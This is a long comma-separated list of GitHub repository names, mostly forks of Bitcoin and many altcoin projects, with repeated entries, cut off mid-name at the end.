garzik\/bitcoin,ColossusCoinXT\/ColossusCoinXT,PandaPayProject\/PandaPay,koharjidan\/dogecoin,ftrader-bitcoinabc\/bitcoin-abc,projectinterzone\/ITZ,nathan-at-least\/zcash,hsavit1\/bitcoin,NateBrune\/bitcoin-nate,faircoin\/faircoin2,braydonf\/bitcoin,novaexchange\/EAC,my-first\/octocoin,rebroad\/bitcoin,coinerd\/krugercoin,BenjaminsCrypto\/Benjamins-1,sebrandon1\/bitcoin,hg5fm\/nexuscoin,ohac\/sha1coin,ahmedbodi\/test2,apoelstra\/elements,uphold\/bitcoin,amaivsimau\/bitcoin,koharjidan\/bitcoin,marscoin\/marscoin,Electronic-Gulden-Foundation\/egulden,21E14\/bitcoin,yenliangl\/bitcoin,reddcoin-project\/reddcoin,deuscoin\/deuscoin,MasterX1582\/bitcoin-becoin,Ziftr\/bitcoin,initaldk\/bitcoin,rjshaver\/bitcoin,WorldLeadCurrency\/WLC,IlfirinIlfirin\/shavercoin,IlfirinIlfirin\/shavercoin,Bitcoin-com\/BUcash,KaSt\/ekwicoin,zebrains\/Blotter,Cloudsy\/bitcoin,appop\/bitcoin,GroundRod\/anoncoin,florincoin\/florincoin,manuel-zulian\/CoMoNet,karek314\/bitcoin,kseistrup\/twister-core,Bloom-Project\/Bloom,coinkeeper\/2015-06-22_18-36_darkcoin,Horrorcoin\/horrorcoin,gjhiggins\/vcoincore,MeshCollider\/bitcoin,Xekyo\/bitcoin,aciddude\/Feathercoin,romanornr\/viacoin,icook\/vertcoin,nsacoin\/nsacoin,jlopp\/statoshi,ohac\/sakuracoin,nikkitan\/bitcoin,gwangjin2\/gwangcoin-core,jiangyonghang\/bitcoin,h4x3rotab\/BTCGPU,dgarage\/bc3,plncoin\/PLNcoin_Core,BitcoinHardfork\/bitcoin,Earlz\/dobbscoin-source,MasterX1582\/bitcoin-becoin,droark\/bitcoin,Darknet-Crypto\/Darknet,jl2012\/litecoin,nathan-at-least\/zcash,initaldk\/bitcoin,particl\/particl-core,Diapolo\/bitcoin,crowning-\/dash,micryon\/GPUcoin,LIMXTEC\/DMDv3,cinnamoncoin\/groupcoin-1,gavinandresen\/bitcoin-git,tjps\/bitcoin,bitcoin\/bitcoin,Bloom-Project\/Bloom,krzysztofwos\/BitcoinUnlimited,krzysztofwos\/BitcoinUnlimited,jaromil\/faircoin2,odemolliens\/bitcoinxt,genavarov\/brcoin,therealaltcoin\/altcoin,AkioNak\/bitcoin,and2099\/twister-core,putinclassic\/putic,174high\/bitcoin,destenson\/bitcoin--bitcoin,48thct2jtnf\/P,sipsorcery\/bitcoin,dgenr8\/bitcoin,SartoNess\/BitcoinUnlimited,manuel-zulian\/CoMoNet,FarhanHaque\/bitcoin,nikkitan\/bitcoin,gmaxwell\/bitcoin,tropa\/axecoin,axelxod\/braincoin,plncoin\/PLNcoin_Core,MonetaryUnit\/MUE-Src,goldmidas\/goldmidas,zottejos\/merelcoin,bankonmecoin\/bitcoin,Coinfigli\/coinfigli,zixan\/bitcoin,EthanHeilman\/bitcoin,dcousens\/bitcoin,iosdevzone\/bitcoin,josephbisch\/namecoin-core,wellenreiter01\/Feathercoin,ripper234\/bitcoin,Earlz\/dobbscoin-source,anditto\/bitcoin,ahmedbodi\/test2,shadowoneau\/ozcoin,paveljanik\/bitcoin,MazaCoin\/mazacoin-new,Bitcoinsulting\/bitcoinxt,marklai9999\/Taiwancoin,domob1812\/i0coin,ahmedbodi\/temp_vert,diggcoin\/diggcoin,iosdevzone\/bitcoin,sdaftuar\/bitcoin,hg5fm\/nexuscoin,coinkeeper\/2015-06-22_18-41_ixcoin,SocialCryptoCoin\/SocialCoin,kallewoof\/elements,BlockchainTechLLC\/3dcoin,novaexchange\/EAC,lbrtcoin\/albertcoin,jmgilbert2\/energi,EntropyFactory\/creativechain-core,razor-coin\/razor,ingresscoin\/ingresscoin,wbchen99\/bitcoin-hnote0,core-bitcoin\/bitcoin,scamcoinz\/scamcoin,chaincoin\/chaincoin,jameshilliard\/bitcoin,CodeShark\/bitcoin,practicalswift\/bitcoin,mooncoin-project\/mooncoin-landann,Rav3nPL\/polcoin,domob1812\/bitcoin,sebrandon1\/bitcoin,Cocosoft\/bitcoin,TheBlueMatt\/bitcoin,dev1972\/Satellitecoin,freelion93\/mtucicoin,shaulkf\/bitcoin,MeshCollider\/bitcoin,namecoin\/namecore,Electronic-Gulden-Foundation\/egulden,Alonzo-Coeus\/bitcoin,ludbb\/bitcoin,core-bitcoin\/bitcoin,awemany\/BitcoinUnlimited,ptschip\/bitcoinxt,dgenr8\/bitcoinxt,bitcoin\/bitcoin,TheBlueMatt\/bitcoin,Tetpay\/bitcoin,Rav3nPL\/PLNcoin,ixcoinofficialpage\/master,cybermatatu\/bitcoin,error10\/bitcoin,mitchellcash\/bitcoin,capitalDIGI\/DIGI-v-0-10-4,TripleSpeeder\/bitcoin,GroundRod\/anoncoin,zcoinofficial\/zcoin,jameshilliard\/bitcoin,benzmuircroft\/REWIRE.io,torresalyssa\/bitcoin,coinerd\/krugercoin,p2peace\/oliver-twister-core,hyperwang\/bitcoin,Coinfigli\/coinfigli,Kangmo\/bitcoin,genavarov\/brcoin,scmorse\/bitcoin,bitcoinxt\/bitcoinxt,ShadowMyst\/creativechain-core,bmp02050\/ReddcoinUpdates,itmanagerro\/tresting,sifcoin\/sifcoin,deadalnix\/bitcoin,apoelstra\/bitcoin,Kore-Core\/kore,shaulkf\/bitcoin,Kore-Core\/kore,netswift\/vertcoin,arnuschky\/bitcoin,gzuser01\/zetacoin-bitcoin,jlopp\/statoshi,coinkeeper\/2015-06-22_19-00_ziftrcoin,degenorate\/Deftcoin,rnicoll\/dogecoin,Gazer022\/bitcoin,PIVX-Project\/PIVX,Krellan\/bitcoin,peercoin\/peercoin,genavarov\/lamacoin,nigeriacoin\/nigeriacoin,Flurbos\/Flurbo,Mrs-X\/Darknet,manuel-zulian\/CoMoNet,SoreGums\/bitcoinxt,alejandromgk\/Lunar,Earlz\/renamedcoin,syscoin\/syscoin,afk11\/bitcoin,chaincoin\/chaincoin,BlockchainTechLLC\/3dcoin,21E14\/bitcoin,lclc\/bitcoin,x-kalux\/bitcoin_WiG-B,mobicoins\/mobicoin-core,patricklodder\/dogecoin,gzuser01\/zetacoin-bitcoin,IlfirinCano\/shavercoin,irvingruan\/bitcoin,josephbisch\/namecoin-core,OmniLayer\/omnicore,coinkeeper\/anoncoin_20150330_fixes,coinkeeper\/2015-06-22_18-52_viacoin,ediston\/energi,pouta\/bitcoin,compasscoin\/compasscoin,bitjson\/hivemind,JeremyRubin\/bitcoin,mitchellcash\/bitcoin,lakepay\/lake,randy-waterhouse\/bitcoin,constantine001\/bitcoin,royosherove\/bitcoinxt,wangxinxi\/litecoin,alecalve\/bitcoin,bcpki\/nonce2testblocks,szlaozhu\/twister-core,bespike\/litecoin,howardrya\/AcademicCoin,ShwoognationHQ\/bitcoin,CoinProjects\/AmsterdamCoin-v4,tmagik\/catcoin,practicalswift\/bitcoin,gwillen\/elements,174high\/bitcoin,EntropyFactory\/creativechain-core,plankton12345\/litecoin,Jeff88Ho\/bitcoin,SartoNess\/BitcoinUnlimited,cryptohelper\/premine,glv2\/peerunity,Friedbaumer\/litecoin,odemolliens\/bitcoinxt,sirk390\/bitcoin,matlongsi\/micropay,aniemerg\/zcash,omefire\/bitcoin,hsavit1\/bitcoin,knolza\/gamblr,cotner\/bitcoin,credits-currency\/credits,PRabahy\/bitcoin,Mrs-X\/Darknet,thrasher-\/litecoin,ivansib\/sib16,simdeveloper\/bitcoin,cyrixhero\/bitcoin,trippysalmon\/bitcoin,totallylegitbiz\/totallylegitcoin,mb300sd\/bitcoin,Domer85\/dogecoin,zenywallet\/bitzeny,DigiByte-Team\/digibyte,Horrorcoin\/horrorcoin,irvingruan\/bitcoin,ArgonToken\/ArgonToken,taenaive\/zetacoin,Kenwhite23\/litecoin,metrocoins\/metrocoin,slingcoin\/sling-market,jgarzik\/bitcoin,trippysalmon\/bitcoin,CTRoundTable\/Encrypted.Cash,lbryio\/lbrycrd,kirkalx\/bitcoin,JeremyRand\/bitcoin,Exgibichi\/statusquo,zcoinofficial\/zcoin,Rav3nPL\/doubloons-0.10,Anfauglith\/iop-hd,bootycoin-project\/bootycoin,truthcoin\/truthcoin-cpp,rustyrussell\/bitcoin,vcoin-project\/vcoincore,GwangJin\/gwangmoney-core,isocolsky\/bitcoinxt,whatrye\/twister-core,jonghyeopkim\/bitcoinxt,mm-s\/bitcoin,iQcoin\/iQcoin,KibiCoin\/kibicoin,bmp02050\/ReddcoinUpdates,UdjinM6\/dash,Rav3nPL\/bitcoin,dperel\/bitcoin,sipa\/elements,tecnovert\/particl-core,zander\/bitcoinclassic,mincoin-project\/mincoin,BitcoinPOW\/BitcoinPOW,yenliangl\/bitcoin,simonmulser\/bitcoin,cheehieu\/bitcoin,ppcoin\/ppcoin,domob1812\/huntercore,sipa\/bitcoin,erqan\/twister-core,Mirobit\/bitcoin,my-first\/octocoin,botland\/bitcoin,cculianu\/bitcoin-abc,erqan\/twister-core,GreenParhelia\/bitcoin,BitcoinHardfork\/bitcoin,SoreGums\/bitcoinxt,imton\/bitcoin,Earlz\/renamedcoin,vtafaucet\/virtacoin,aniemerg\/zcash,mrtexaznl\/mediterraneancoin,my-first\/octocoin,kaostao\/bitcoin,koharjidan\/dogecoin,cddjr\/BitcoinUnlimited,stevemyers\/bitcoinxt,ryanxcharles\/bitcoin,segsignal\/bitcoin,gmaxwell\/bitcoin,dmrtsvetkov\/flowercoin,Mrs-X\/PIVX,isocolsky\/bitcoinxt,ryanofsky\/bitcoin,coinkeeper\/2015-06-22_18-46_razor,DigiByte-Team\/digibyte,jmcorgan\/bitcoin,vmp32k\/litecoin,ftrader-bitcoinabc\/bitcoin-abc,worldcoinproject\/worldcoin-v0.8,kallewoof\/bitcoin,crowning-\/dash,n1bor\/bitcoin,zcoinofficial\/zcoin,BTCfork\/hardfork_prototype_1_mvf-core,meighti\/bitcoin,isocolsky\/bitcoinxt,oklink-dev\/bitcoin,TeamBitBean\/bitcoin-core,mammix2\/ccoin-dev,gavinandresen\/bitcoin-git,Anoncoin\/anoncoin,ekankyesme\/bitcoinxt,DGCDev\/argentum,andres-root\/bitcoinxt,bitreserve\/bitcoin,and2099\/twister-core,bitcoinsSG\/zcash,stamhe\/litecoin,sipa\/elements,Rav3nPL\/polcoin,taenaive\/zetacoin,globaltoken\/globaltoken,BlockchainTechLLC\/3dcoin,2XL\/bitcoin,ghostlander\/Feathercoin,aciddude\/Feathercoin,kleetus\/bitcoinxt,lbrtcoin\/albertcoin,cybermatatu\/bitcoin,jameshilliard\/bitcoin,haobtc\/bitcoin,coinkeeper\/megacoin_20150410_fixes,Kcoin-project\/kcoin,p2peace\/oliver-twister-core,dpayne9000\/Rubixz-Coin,lateminer\/bitcoin,unsystemizer\/bitcoin,Vsync-project\/Vsync,bitcoinec\/bitcoinec,kleetus\/bitcoin,JeremyRand\/namecore,applecoin-official\/applecoin,sbellem\/bitcoin,erqan\/twister-core,BTCTaras\/bitcoin,langerhans\/dogecoin,coinkeeper\/2015-06-22_18-31_bitcoin,novaexchange\/EAC,Lucky7Studio\/bitcoin,Sjors\/bitcoin,ftrader-bitcoinabc\/bitcoin-abc,174high\/bitcoin,itmanagerro\/tresting,credits-currency\/credits,nanocoins\/mycoin,puticcoin\/putic,ajtowns\/bitcoin,brishtiteveja\/sherlockcoin,daveperkins-github\/bitcoin-dev,rdqw\/sscoin,manuel-zulian\/accumunet,dakk\/soundcoin,mikehearn\/bitcoin,jn2840\/bitcoin,antonio-fr\/bitcoin,faircoin\/faircoin2,Petr-Economissa\/gvidon,BigBlueCeiling\/augmentacoin,skaht\/bitcoin,lbrtcoin\/albertcoin,blood2\/bloodcoin-0.9,CrimeaCoin\/crimeacoin,keo\/bitcoin,xieta\/mincoin,fullcoins\/fullcoin,Flowdalic\/bitcoin,yenliangl\/bitcoin,Exceltior\/dogecoin,wederw\/bitcoin,rromanchuk\/bitcoinxt,cryptodev35\/icash,x-kalux\/bitcoin_WiG-B,imton\/bitcoin,meighti\/bitcoin,nanocoins\/mycoin,gravio-net\/graviocoin,nmarley\/dash,domob1812\/i0coin,npccoin\/npccoin,JeremyRand\/namecoin-core,nathaniel-mahieu\/bitcoin,ohac\/sha1coin,joshrabinowitz\/bitcoin,genavarov\/lamacoin,ArgonToken\/ArgonToken,greenaddress\/bitcoin,Chancoin-core\/CHANCOIN,zestcoin\/ZESTCOIN,llamasoft\/ProtoShares_Cycle,XX-net\/twister-core,Megacoin2\/Megacoin,r8921039\/bitcoin,gazbert\/bitcoin,gzuser01\/zetacoin-bitcoin,bitcoin\/bitcoin,presstab\/PIVX,gravio-net\/graviocoin,Dinarcoin\/dinarcoin,kfitzgerald\/titcoin,greencoin-dev\/greencoin-dev,haraldh\/bitcoin,cotner\/bitcoin,mruddy\/bitcoin,vlajos\/bitcoin,Dinarcoin\/dinarcoin,world-bank\/unpay-core,kseistrup\/twister-core,benosa\/bitcoin,rdqw\/sscoin,Michagogo\/bitcoin,keisercoin-official\/keisercoin,atgreen\/bitcoin,UFOCoins\/ufo,Alonzo-Coeus\/bitcoin,royosherove\/bitcoinxt,dpayne9000\/Rubixz-Coin,basicincome\/unpcoin-core,reddcoin-project\/reddcoin,droark\/elements,pouta\/bitcoin,sstone\/bitcoin,Kangmo\/bitcoin,ivansib\/sib16,lbrtcoin\/albertcoin,OmniLayer\/omnicore,gcc64\/bitcoin,plankton12345\/litecoin,lbryio\/lbrycrd,zsulocal\/bitcoin,gapcoin\/gapcoin,Flurbos\/Flurbo,appop\/bitcoin,martindale\/elements,kazcw\/bitcoin,jrmithdobbs\/bitcoin,dpayne9000\/Rubixz-Coin,dannyperez\/bolivarcoin,denverl\/bitcoin,bankonmecoin\/bitcoin,GroestlCoin\/GroestlCoin,jtimon\/elements,world-bank\/unpay-core,BTCTaras\/bitcoin,botland\/bitcoin,DigiByte-Team\/digibyte,MazaCoin\/maza,Justaphf\/BitcoinUnlimited,zcoinofficial\/zcoin,brishtiteveja\/sherlockholmescoin,grumpydevelop\/singularity,gravio-net\/graviocoin,Bushstar\/UFO-Project,svost\/bitcoin,digideskio\/namecoin,dperel\/bitcoin,gcc64\/bitcoin,mruddy\/bitcoin,coinkeeper\/2015-06-22_18-39_feathercoin,jimmysong\/bitcoin,cinnamoncoin\/groupcoin-1,AllanDoensen\/BitcoinUnlimited,pataquets\/namecoin-core,ClusterCoin\/ClusterCoin,ionomy\/ion,tripmode\/pxlcoin,Xekyo\/bitcoin,WorldLeadCurrency\/WLC,tropa\/axecoin,cainca\/liliucoin,RyanLucchese\/energi,cddjr\/BitcoinUnlimited,cdecker\/bitcoin,cainca\/liliucoin,btcdrak\/bitcoin,domob1812\/namecore,truthcoin\/truthcoin-cpp,IlfirinCano\/shavercoin,zemrys\/vertcoin,LIMXTEC\/DMDv3,MarcoFalke\/bitcoin,hg5fm\/nexuscoin,laudaa\/bitcoin,wangliu\/bitcoin,Bushstar\/UFO-Project,kleetus\/bitcoin,zcoinofficial\/zcoin,kleetus\/bitcoinxt,lbryio\/lbrycrd,gzuser01\/zetacoin-bitcoin,40thoughts\/Coin-QualCoin,Kcoin-project\/kcoin,glv2\/peerunity,sbaks0820\/bitcoin,coinkeeper\/2015-06-22_18-51_vertcoin,jn2840\/bitcoin,40thoughts\/Coin-QualCoin,shea256\/bitcoin,Carrsy\/PoundCoin,krzysztofwos\/BitcoinUnlimited,p2peace\/oliver-twister-core,SoreGums\/bitcoinxt,gwangjin2\/gwangcoin-core,AdrianaDinca\/bitcoin,destenson\/bitcoin--bitcoin,KibiCoin\/kibicoin,thormuller\/yescoin2,capitalDIGI\/DIGI-v-0-10-4,romanornr\/viacoin,basicincome\/unpcoin-core,ptschip\/bitcoinxt,drwasho\/bitcoinxt,GIJensen\/bitcoin,Alonzo-Coeus\/bitcoin,cddjr\/BitcoinUnlimited,KnCMiner\/bitcoin,jiffe\/cosinecoin,alexandrcoin\/vertcoin,donaloconnor\/bitcoin,midnightmagic\/bitcoin,ajweiss\/bitcoin,tmagik\/catcoin,experiencecoin\/experiencecoin,PRabahy\/bitcoin,arnuschky\/bitcoin,kallewoof\/elements,icook\/vertcoin,zander\/bitcoinclassic,likecoin-dev\/bitcoin,ashleyholman\/bitcoin,fussl\/elements,tensaix2j\/bananacoin,AdrianaDinca\/bitcoin,tedlz123\/Bitcoin,truthcoin\/blocksize-market,bitshares\/bitshares-pts,kirkalx\/bitcoin,jonasnick\/bitcoin,my-first\/octocoin,Earlz\/renamedcoin,nomnombtc\/bitcoin,biblepay\/biblepay,Kogser\/bitcoin,Rav3nPL\/PLNcoin,mm-s\/bitcoin,Mirobit\/bitcoin,guncoin\/guncoin,tmagik\/catcoin,ptschip\/bitcoinxt,koharjidan\/litecoin,saydulk\/Feathercoin,MarcoFalke\/bitcoin,bitgoldcoin-project\/bitgoldcoin,coinerd\/krugercoin,ftrader-bitcoinabc\/bitcoin-abc,unsystemizer\/bitcoin,raasakh\/bardcoin.exe,raasakh\/bardcoin.exe,novaexchange\/EAC,brandonrobertz\/namecoin-core,5mil\/Tradecoin,Tetpay\/bitcoin,fujicoin\/fujicoin,Tetcoin\/tetcoin,jakeva\/bitcoin-pwcheck,Bitcoin-ABC\/bitcoin-abc,sstone\/bitcoin,deuscoin\/deuscoin,earonesty\/bitcoin,aniemerg\/zcash,Friedbaumer\/litecoin,ddombrowsky\/radioshares,gavinandresen\/bitcoin-git,cryptoprojects\/ultimateonlinecash,simonmulser\/bitcoin,isocolsky\/bitcoinxt,rjshaver\/bitcoin,bitcoinsSG\/bitcoin,thesoftwarejedi\/bitcoin,upgradeadvice\/MUE-Src,goldmidas\/goldmidas,isghe\/bitcoinxt,sipsorcery\/bitcoin,bitcoinclassic\/bitcoinclassic,pastday\/bitcoinproject,and2099\/twister-core,gravio-net\/graviocoin,Xekyo\/bitcoin,NicolasDorier\/bitcoin,KaSt\/ekwicoin,brishtiteveja\/sherlockholmescoin,ahmedbodi\/vertcoin,atgreen\/bitcoin,Kenwhite23\/litecoin,multicoins\/marycoin,bcpki\/nonce2testblocks,sbaks0820\/bitcoin,rustyrussell\/bitcoin,peacedevelop\/peacecoin,Vsync-project\/Vsync,adpg211\/bitcoin-master,ekankyesme\/bitcoinxt,Krellan\/bitcoin,Kangmo\/bitcoin,mapineda\/litecoin,initaldk\/bitcoin,UFOCoins\/ufo,krzysztofwos\/BitcoinUnlimited,spiritlinxl\/BTCGPU,midnightmagic\/bitcoin,goldcoin\/Goldcoin-GLD,dagurval\/bitcoinxt,slingcoin\/sling-market,peerdb\/cors,ixcoinofficialpage\/master,bcpki\/nonce2,sipa\/bitcoin,DMDcoin\/Diamond,x-kalux\/bitcoin_WiG-B,crowning2\/dash,funkshelper\/woodcoin-b,Bluejudy\/worldcoin,btc1\/bitcoin,inutoshi\/inutoshi,joshrabinowitz\/bitcoin,Domer85\/dogecoin,haisee\/dogecoin,genavarov\/lamacoin,ptschip\/bitcoin,coinkeeper\/2015-06-22_18-37_dogecoin,ediston\/energi,safecoin\/safecoin,prark\/bitcoinxt,jrick\/bitcoin,stamhe\/litecoin,oleganza\/bitcoin-duo,Metronotes\/bitcoin,prark\/bitcoinxt,ahmedbodi\/temp_vert,HashUnlimited\/Einsteinium-Unlimited,iQcoin\/iQcoin,zebrains\/Blotter,balajinandhu\/bitcoin,cainca\/liliucoin,osuyuushi\/laughingmancoin,domob1812\/namecore,crowning2\/dash,bitcoinclassic\/bitcoinclassic,coinkeeper\/2015-06-22_18-30_anoncoin,llluiop\/bitcoin,biblepay\/biblepay,BTCDDev\/bitcoin,r8921039\/bitcoin,balajinandhu\/bitcoin,Michagogo\/bitcoin,DGCDev\/digitalcoin,CryptArc\/bitcoin,rawodb\/bitcoin,NateBrune\/bitcoin-fio,SoreGums\/bitcoinxt,litecoin-project\/litecoin,rnicoll\/bitcoin,domob1812\/huntercore,WorldLeadCurrency\/WLC,vlajos\/bitcoin,h4x3rotab\/BTCGPU,TierNolan\/bitcoin,Jcing95\/iop-hd,ohac\/sha1coin,appop\/bitcoin,magacoin\/magacoin,world-bank\/unpay-core,BigBlueCeiling\/augmentacoin,NicolasDorier\/bitcoin,mincoin-project\/mincoin,shea256\/bitcoin,AdrianaDinca\/bitcoin,metrocoins\/metrocoin,domob1812\/i0coin,peacedevelop\/peacecoin,bitcoinclassic\/bitcoinclassic,ptschip\/bitcoin,goldcoin\/goldcoin,2XL\/bitcoin,spiritlinxl\/BTCGPU,fsb4000\/bitcoin,daveperkins-github\/bitcoin-dev,Rav3nPL\/bitcoin,Cancercoin\/Cancercoin,ixcoinofficialpage\/master,Diapolo\/bitcoin,jl2012\/litecoin,icook\/vertcoin,bitjson\/hivemind,fsb4000\/bitcoin,krzysztofwos\/BitcoinUnlimited,unsystemizer\/bitcoin,cqtenq\/Feathercoin,vbernabe\/freicoin,fussl\/elements,mitchellcash\/bitcoin,Rav3nPL\/doubloons-0.10,miguelfreitas\/twister-core,octocoin-project\/octocoin,UdjinM6\/dash,ddombrowsky\/radioshares,ryanofsky\/bitcoin,mm-s\/bitcoin,andres-root\/bitcoinxt,Adaryian\/E-Currency,netswift\/vertcoin,manuel-zulian\/accumunet,ElementsProject\/elements,crowning2\/dash,Anfauglith\/iop-hd,zottejos\/merelcoin,instagibbs\/bitcoin,dgenr8\/bitcoinxt,cqtenq\/feathercoin_core,KillerByte\/memorypool,atgreen\/bitcoin,antonio-fr\/bitcoin,segsignal\/bitcoin,Cancercoin\/Cancercoin,mruddy\/bitcoin,Rav3nPL\/doubloons-08,Czarcoin\/czarcoin,sebrandon1\/bitcoin,jakeva\/bitcoin-pwcheck,jtimon\/elements,privatecoin\/privatecoin,jiffe\/cosinecoin,GreenParhelia\/bitcoin,plncoin\/PLNcoin_Core,NicolasDorier\/bitcoin,langerhans\/dogecoin,coinkeeper\/2015-06-22_19-07_digitalcoin,sstone\/bitcoin,xeddmc\/twister-core,djpnewton\/bitcoin,oleganza\/bitcoin-duo,freelion93\/mtucicoin,accraze\/bitcoin,BitcoinUnlimited\/BitcoinUnlimited,szlaozhu\/twister-core,neuroidss\/bitcoin,globaltoken\/globaltoken,bickojima\/bitzeny,karek314\/bitcoin,Rav3nPL\/doubloons-0.10,loxal\/zcash,brightcoin\/brightcoin,keo\/bitcoin,benzmuircroft\/REWIRE.io,djpnewton\/bitcoin,biblepay\/biblepay,jtimon\/bitcoin,40thoughts\/Coin-QualCoin,andreaskern\/bitcoin,AkioNak\/bitcoin,dogecoin\/dogecoin,pdrobek\/Polcoin-1-3,HeliumGas\/helium,chaincoin\/chaincoin,supcoin\/supcoin,ekankyesme\/bitcoinxt,bitgoldcoin-project\/bitgoldcoin,misdess\/bitcoin,appop\/bitcoin,shadowoneau\/ozcoin,Kogser\/bitcoin,riecoin\/riecoin,Darknet-Crypto\/Darknet,kevin-cantwell\/crunchcoin,ptschip\/bitcoin,antcheck\/antcoin,r8921039\/bitcoin,leofidus\/glowing-octo-ironman,mitchellcash\/bitcoin,raasakh\/bardcoin,XX-net\/twister-core,se3000\/bitcoin,tdudz\/elements,Gazer022\/bitcoin,markf78\/dollarcoin,bcpki\/testblocks,mobicoins\/mobicoin-core,EthanHeilman\/bitcoin,fedoracoin-dev\/fedoracoin,vertcoin\/eyeglass,kseistrup\/twister-core,ccoin-project\/ccoin,kallewoof\/elements,razor-coin\/razor,alejandromgk\/Lunar,jtimon\/bitcoin,ashleyholman\/bitcoin,bitreserve\/bitcoin,MarcoFalke\/bitcoin,cryptoprojects\/ultimateonlinecash,capitalDIGI\/litecoin,RyanLucchese\/energi,riecoin\/riecoin,CarpeDiemCoin\/CarpeDiemLaunch,marcusdiaz\/BitcoinUnlimited,worldcoinproject\/worldcoin-v0.8,atgreen\/bitcoin,brandonrobertz\/namecoin-core,jn2840\/bitcoin,thormuller\/yescoin2,HeliumGas\/helium,Climbee\/artcoin,shadowoneau\/ozcoin,memorycoin\/memorycoin,drwasho\/bitcoinxt,mycointest\/owncoin,aspirecoin\/aspire,cryptoprojects\/ultimateonlinecash,174high\/bitcoin,funbucks\/notbitcoinxt,litecoin-project\/litecore-litecoin,dakk\/soundcoin,sarielsaz\/sarielsaz,Cloudsy\/bitcoin,ElementsProject\/elements,schinzelh\/dash,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,cculianu\/bitcoin-abc,nathan-at-least\/zcash,1185\/starwels,coinkeeper\/2015-06-22_18-31_bitcoin,Michagogo\/bitcoin,goldmidas\/goldmidas,collapsedev\/circlecash,Kangmo\/bitcoin,jambolo\/bitcoin,phelix\/bitcoin,Electronic-Gulden-Foundation\/egulden,myriadteam\/myriadcoin,genavarov\/brcoin,jakeva\/bitcoin-pwcheck,cybermatatu\/bitcoin,ColossusCoinXT\/ColossusCoinXT,vertcoin\/vertcoin,isghe\/bitcoinxt,vericoin\/vericoin-core,Electronic-Gulden-Foundation\/egulden,starwels\/starwels,XX-net\/twister-core,KibiCoin\/kibicoin,brandonrobertz\/namecoin-core,ahmedbodi\/test2,greencoin-dev\/digitalcoin,Justaphf\/BitcoinUnlimited,nightlydash\/darkcoin,nomnombtc\/bitcoin,antcheck\/antcoin,biblepay\/biblepay,kleetus\/bitcoinxt,ardsu\/bitcoin,WorldLeadCurrency\/WLC,nmarley\/dash,untrustbank\/litecoin,scamcoinz\/scamcoin,tecnovert\/particl-core,GIJensen\/bitcoin,mobicoins\/mobicoin-core,FinalHashLLC\/namecore,aburan28\/elements,tjth\/lotterycoin,matlongsi\/micropay,dgenr8\/bitcoin,mb300sd\/bitcoin,MitchellMintCoins\/MortgageCoin,amaivsimau\/bitcoin,domob1812\/namecore,bitpagar\/bitpagar,Tetpay\/bitcoin,ctwiz\/stardust,pouta\/bitcoin,andreaskern\/bitcoin,xurantju\/bitcoin,jonasschnelli\/bitcoin,zzkt\/solarcoin,apoelstra\/bitcoin,itmanagerro\/tresting,grumpydevelop\/singularity,s-matthew-english\/bitcoin,UASF\/bitcoin,fussl\/elements,pdrobek\/Polcoin-1-3,dgarage\/bc3,iosdevzone\/bitcoin,manuel-zulian\/CoMoNet,zemrys\/vertcoin,aspanta\/bitcoin,kleetus\/bitcoin,leofidus\/glowing-octo-ironman,paveljanik\/bitcoin,szlaozhu\/twister-core,BTCGPU\/BTCGPU,scmorse\/bitcoin,jimblasko\/UnbreakableCoin-master,Har01d\/bitcoin,midnight-miner\/LasVegasCoin,inutoshi\/inutoshi,joroob\/reddcoin,MitchellMintCoins\/AutoCoin,pinheadmz\/bitcoin,howardrya\/AcademicCoin,FrictionlessCoin\/iXcoin,drwasho\/bitcoinxt,inkvisit\/sarmacoins,psionin\/smartcoin,marcusdiaz\/BitcoinUnlimited,alecalve\/bitcoin,raasakh\/bardcoin,HashUnlimited\/Einsteinium-Unlimited,koharjidan\/bitcoin,shouhuas\/bitcoin,funkshelper\/woodcore,litecoin-project\/litecoin,Bloom-Project\/Bloom,octocoin-project\/octocoin,nathaniel-mahieu\/bitcoin,upgradeadvice\/MUE-Src,coinkeeper\/2015-06-22_19-07_digitalcoin,TrainMAnB\/vcoincore,mapineda\/litecoin,shurcoin\/shurcoin,wederw\/bitcoin,jn2840\/bitcoin,terracoin\/terracoin,maraoz\/proofcoin,guncoin\/guncoin,RHavar\/bitcoin,itmanagerro\/tresting,nathan-at-least\/zcash,experiencecoin\/experiencecoin,ryanofsky\/bitcoin,tjps\/bitcoin,koharjidan\/bitcoin,shadowoneau\/ozcoin,GroestlCoin\/bitcoin,coinkeeper\/2015-06-22_18-30_anoncoin,experiencecoin\/experiencecoin,initaldk\/bitcoin,czr5014iph\/bitcoin4e,CryptArc\/bitcoinxt,wbchen99\/bitcoin-hnote0,shurcoin\/shurcoin,deeponion\/deeponion,CryptArc\/bitcoin,degenorate\/Deftcoin,blood2\/bloodcoin-0.9,manuel-zulian\/accumunet,gavinandresen\/bitcoin-git,kaostao\/bitcoin,vcoin-project\/vcoincore,omefire\/bitcoin,keesdewit82\/LasVegasCoin,rsdevgun16e\/energi,imton\/bitcoin,sebrandon1\/bitcoin,pascalguru\/florincoin,nbenoit\/bitcoin,razor-coin\/razor,ZiftrCOIN\/ziftrcoin,DGCDev\/digitalcoin,NunoEdgarGub1\/elements,zenywallet\/bitzeny,credits-currency\/credits,nomnombtc\/bitcoin,ANCompany\/birdcoin-dev,nathan-at-least\/zcash,senadmd\/coinmarketwatch,Bitcoinsulting\/bitcoinxt,BlockchainTechLLC\/3dcoin,mockcoin\/mockcoin,Exceltior\/dogecoin,ajtowns\/bitcoin,bitcoin-hivemind\/hivemind,lbryio\/lbrycrd,ClusterCoin\/ClusterCoin,Lucky7Studio\/bitcoin,sugruedes\/bitcoinxt,UASF\/bitcoin,cotner\/bitcoin,Vector2000\/bitcoin,ronpaulcoin\/ronpaulcoin,lclc\/bitcoin,drwasho\/bitcoinxt,TeamBitBean\/bitcoin-core,s-matthew-english\/bitcoin,acid1789\/bitcoin,p2peace\/oliver-twister-core,coinkeeper\/2015-04-19_21-20_litecoindark,skaht\/bitcoin,glv2\/peerunity,fussl\/elements,mrbandrews\/bitcoin,Ziftr\/bitcoin,pascalguru\/florincoin,cqtenq\/feathercoin_core,Rav3nPL\/doubloons-0.10,sugruedes\/bitcoinxt,rat4\/bitcoin,randy-waterhouse\/bitcoin,world-bank\/unpay-core,TGDiamond\/Diamond,oklink-dev\/bitcoin,bmp02050\/ReddcoinUpdates,2XL\/bitcoin,AllanDoensen\/BitcoinUnlimited,BitcoinPOW\/BitcoinPOW,presstab\/PIVX,BigBlueCeiling\/augmentacoin,antonio-fr\/bitcoin,btc1\/bitcoin,111t8e\/bitcoin,D